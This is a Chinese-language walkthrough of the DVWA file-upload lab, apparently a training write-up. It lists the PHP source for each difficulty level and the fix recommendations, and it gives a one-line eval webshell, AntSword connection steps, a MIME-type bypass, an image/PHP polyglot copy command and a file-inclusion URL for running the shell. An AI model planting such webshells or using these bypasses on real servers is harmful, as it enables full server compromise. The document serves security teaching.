网络安全 DVWA通关指南 DVWA File Upload(文件上传)
DVWA File Upload(文件上传)
修复建议
1、使用白名单限制可以上传的文件扩展名
2、注意0x00截断攻击(PHP更新到最新版本)
3、对上传后的文件统一随机命名,不允许用户控制扩展名
4、上传文件的存储目录禁用执行权限
Low
1、分析网页源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
<?php
// 检查是否接收到表单提交的“Upload”按钮
if( isset( $_POST[ 'Upload' ] ) ) {
// 定义目标文件夹路径,这里假设DVWA_WEB_PAGE_TO_ROOT是一个预定义常量,指向网站根目录
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// 获取上传文件的原始名称,并将其附加到目标路径上,以构建完整的文件存储路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// 使用PHP内置函数move_uploaded_file尝试将临时文件移动到目标路径
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 如果文件未成功移动(例如,由于权限问题或文件大小超出限制等),输出错误信息
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// 文件成功上传至指定位置,输出成功信息
$html .= "<pre>{$target_path} successfully uploaded!</pre>";
}
}
// 注解:
// 上述代码实现了一个简单的文件上传功能,但缺少必要的安全验证,如文件类型检查、文件大小限制以及防止文件名注入攻击等。
// 在实际生产环境中,应在将文件移动到目标路径之前,添加详细的验证和清理步骤以确保上传行为的安全性。
?>
2、Low级别没有对上传的文件进行任何限制,我们可以直接上传一句话木马,然后使用中国蚁剑连接。
<?php @eval($_POST['attack']) ?>
使用蚁剑连接一句话木马
1. 启动AntSword应用后,在界面的任意空白区域点击鼠标右键,这时会出现一个菜单。在弹出的菜单中,选择「添加数据」选项。
2. 进入到添加数据的页面,根据屏幕提示填写所需的信息。确保每一项必填内容都已正确无误地填写完毕,点击「测试连接」按钮,检查连接是否成功。
3. 填写完成后,点击页面中的「添加」按钮,这时候你刚刚输入的信息会被保存为一个新的Shell条目,并能在数据管理列表中看到它。
4. 接下来,双击这个新添加的Shell条目,系统将带你进入该Shell对应的文件管理界面,从而可以进一步操作和管理相关文件。
连接木马成功后,直接获取Webshell,可以在服务器上进行任意操作。
Medium
1、分析网页源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
<?php
// 检查是否设置了 'Upload' POST 参数,这通常意味着文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {
// 设置目标上传路径,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads目录下
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// 使用原始文件名构建完整的文件保存路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// 获取上传文件的信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 文件名
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 文件类型(MIME类型)
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小
// 检查文件是否为允许的图像格式(JPEG或PNG)且文件大小小于100KB
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// 尝试将上传的临时文件移动到指定的目标路径
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// 如果文件无法移动(可能是权限问题或路径错误),输出错误信息
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// 文件成功上传,输出成功信息及上传后的文件路径
$html .= "<pre>{$target_path} successfully uploaded!</pre>";
}
}
else {
// 如果文件不是允许的类型或超过大小限制,输出错误信息
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
Medium级别限制上传文件类型只能为JPEG或PNG,同时限制文件大小不能超过100KB。这个时候再上传一句话木马,会提示上传失败。
2、使用Burp Suite抓取一句话木马文件上传的包,发现上传的PHP文件类型在包里。
修改1.php文件的文件类型为“image/png”,然后Foward。
Content-Type: image/png;
虽然我们上传的文件是PHP文件,但还是可以通过修改网页HTTP报文中文件类型,来绕过网页白名单检查。
High
1、分析网页源代码
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
<?php
// 检查是否设置了 'Upload' POST 参数,表明文件上传表单已被提交
if( isset( $_POST[ 'Upload' ] ) ) {
// 设置文件上传的目标目录,结合DVWA_WEB_PAGE_TO_ROOT常量定位到uploads文件夹
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// 从上传文件名中提取文件的基本名称,包括其扩展名,用于构建完整的目标文件路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// 获取上传文件的详细信息
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 原始文件名
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 文件扩展名,通过查找最后一个点的位置来提取
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 文件大小(字节)
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 上传文件的临时存储路径
// 检查文件扩展名是否为允许的图像格式(不区分大小写),文件大小是否小于100KB,并确认是有效的图像文件
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { // 使用getimagesize()确保文件是可识别的图像
// 尝试将上传的临时文件移动到指定的目标路径
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// 如果文件未能成功移动(可能因权限问题或路径错误),输出错误信息
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
// 文件成功上传,输出包含文件路径的成功信息
$html .= "<pre>{$target_path} successfully uploaded!</pre>";
}
}
else {
// 如果文件扩展名不符、过大或不是有效的图像文件,输出错误信息
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
getimagesize()函数,用于获取图像文件的大小以及相关信息。该函数会检查图片文件头,如果不存在或不是一个有效的图像文件则报错。
1、我们可以准备一张图片和一句话木马的文件,通过copy命令将两个文件合并成一个文件。
copy muma.png/b + muma.php/a 1.png
文件上传成功
2、但此时2.jpg是个图像文件,无法使用蚁剑连接。我们需要将2.jpg作为php文件执行,使用文件包含漏洞( File Inclusion),构造payload。
http://dvwa/vulnerabilities/fi/?page=file:///D:\phpstudy_pro\WWW\DVWA-master\hackable\uploads\1.png
Impossible
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
$html .= "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
$html .= '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
$html .= '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
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